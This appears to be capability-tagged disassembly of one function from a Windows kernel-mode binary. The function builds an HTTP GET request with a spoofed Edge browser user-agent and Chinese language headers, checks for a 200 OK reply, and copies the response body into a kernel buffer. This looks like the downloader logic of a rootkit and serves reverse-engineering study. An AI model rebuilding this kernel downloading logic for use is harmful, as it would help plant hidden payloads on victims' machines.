Function at 0x180005be0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb40
mov byte [rsp + 0xaf8], 0
lea rdi, [rsp + 0xaf9]
xor eax, eax
mov ecx, 0x3b
rep stosb byte [rdi], al
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0xb0], 0
mov dword [rsp + 0xaf0], 0
mov dword [rsp + 0xb8], 0
mov dword [rsp + 0x90], 0
mov dword [rsp + 0xa0], 0
mov byte [rsp + 0xc0], 0
lea rdi, [rsp + 0xc1]
xor eax, eax
mov ecx, 0xa27
rep stosb byte [rdi], al
mov r8d, 0x6b6f6b6f
mov edx, 0x3f7a0
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x180005cab
mov eax, 0xc0000001
jmp 0x180006101
mov qword [rsp + 0x40], 0
lea rdi, [rsp + 0x48]
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xb60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb50]
lea r8, str.GET___s_HTTP_1.1_r_nHost:__s:_s_r_nAccept:text_html__application_xhtmlxml__image_jxr____r_nAccept_Language:_zh_Hans_CN__zh_Hans__q0.8__en_US__q0.5__en__q0.3_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_46.0.2486.0_Safari_537.36_Edge_13.10586_r_nConnection:Keep_Alive_r_n_r_n
mov edx, 0xa28
lea rcx, [rsp + 0xc0]
call fcn.180007920
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0xb60]
mov rcx, qword [rsp + 0xb58]
call fcn.180006260
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0
jge 0x180005d2d
jmp 0x1800060c4
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180006e70
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0
jl 0x1800060c4
jmp 0x180005d5b
mov r8d, 0x3f7a0
xor edx, edx
mov rcx, qword [rsp + 0xa8]
call fcn.18000dcd0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0xb0], 0
mov dword [rsp + 0x90], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x90]
mov edx, 0x3f7a0
mov rcx, qword [rsp + 0xa8]
call fcn.1800071e0
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0
jl 0x1800060a7
jmp 0x180005dcb
lea rcx, [0x18000f6e8]
call sub.ntoskrnl.exe_strlen
mov rdi, rax
lea rcx, [0x18000f6f0]
call sub.ntoskrnl.exe_strlen
mov r8, rax
lea rdx, str.HTTP_1.
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ntoskrnl.exe_RtlCompareMemory]
cmp rdi, rax
jne 0x180005f89
lea rcx, [0x18000f700]
call sub.ntoskrnl.exe_strlen
mov rdi, rax
lea rcx, [0x18000f710]
call sub.ntoskrnl.exe_strlen
mov r8, rax
lea rdx, str.HTTP_1.1_200_OK
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ntoskrnl.exe_RtlCompareMemory]
cmp rdi, rax
jne 0x180005f79
lea rdx, [0x18000f730]
mov rcx, qword [rsp + 0xa8]
call sub.ntoskrnl.exe_strstr
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x180005f67
lea rdx, [0x18000f744]
mov rcx, qword [rsp + 0x30]
call sub.ntoskrnl.exe_strstr
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
je 0x180005f55
mov rax, qword [rsp + 0x30]
mov rdi, qword [rsp + 0xb0]
sub rdi, rax
lea rcx, [0x18000f748]
call sub.ntoskrnl.exe_strlen
sub rdi, rax
lea rcx, str.Content_Length:
call sub.ntoskrnl.exe_strlen
mov rdx, qword [rsp + 0x30]
add rdx, rax
mov r8, rdi
lea rcx, [rsp + 0xaf8]
call fcn.18000ddd0
lea rcx, [rsp + 0xaf8]
call sub.ntoskrnl.exe_atoi
mov dword [rsp + 0xaf0], eax
mov eax, dword [rsp + 0xaf0]
add eax, 4
mov edx, eax
mov r8d, 0x6b6f6b6f
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0xb70]
mov rax, qword [rsp + 0x98]
mov qword [rcx], rax
cmp qword [rsp + 0x98], 0
jne 0x180005f37
mov dword [rsp + 0xbc], 0xc0000001
jmp 0x1800060c4
mov eax, dword [rsp + 0xaf0]
add eax, 4
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x98]
call fcn.18000dcd0
jmp 0x180005f65
mov dword [rsp + 0xbc], 0xc0000001
jmp 0x1800060c4
jmp 0x180005f77
mov dword [rsp + 0xbc], 0xc0000001
jmp 0x1800060c4
jmp 0x180005f89
mov dword [rsp + 0xbc], 0xc0000001
jmp 0x1800060c4
lea rdx, [0x18000f774]
mov rcx, qword [rsp + 0xa8]
call sub.ntoskrnl.exe_strstr
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x98], 0
jne 0x180005fb2
jmp 0x1800060c4
cmp qword [rsp + 0x30], 0
je 0x180006055
cmp qword [rsp + 0xb0], 0
je 0x180006055
mov edi, dword [rsp + 0x90]
lea rcx, [0x18000f77c]
call sub.ntoskrnl.exe_strlen
mov rcx, qword [rsp + 0x30]
add rcx, rax
sub rcx, qword [rsp + 0xa8]
mov rax, rdi
sub rax, rcx
mov dword [rsp + 0xb38], eax
cmp dword [rsp + 0xb38], 0
jbe 0x18000603c
mov edi, dword [rsp + 0xb38]
lea rcx, str._r_n_r_n
call sub.ntoskrnl.exe_strlen
mov rdx, qword [rsp + 0x30]
add rdx, rax
mov eax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0x98]
add rcx, rax
mov r8, rdi
call fcn.18000ddd0
mov ecx, dword [rsp + 0xb38]
mov eax, dword [rsp + 0xb8]
add eax, ecx
mov dword [rsp + 0xb8], eax
jmp 0x180006093
mov r8d, dword [rsp + 0x90]
mov eax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0x98]
add rcx, rax
mov rdx, qword [rsp + 0xa8]
call fcn.18000ddd0
mov edx, dword [rsp + 0x90]
mov eax, dword [rsp + 0xb8]
add eax, edx
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0xaf0]
cmp dword [rsp + 0xb8], eax
jb 0x180005d5b
cmp dword [rsp + 0xbc], 0
jge 0x1800060b3
jmp 0x1800060c4
mov rcx, qword [rsp + 0xb68]
mov eax, dword [rsp + 0xb8]
mov dword [rcx], eax
cmp qword [rsp + 0xa8], 0
je 0x1800060ee
mov edx, 0x6b6f6b6f
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [rsp + 0xa8], 0
lea rcx, [rsp + 0x40]
call fcn.180007530
jmp 0x1800060fa
mov eax, dword [rsp + 0xbc]
add rsp, 0xb40
pop rdi
ret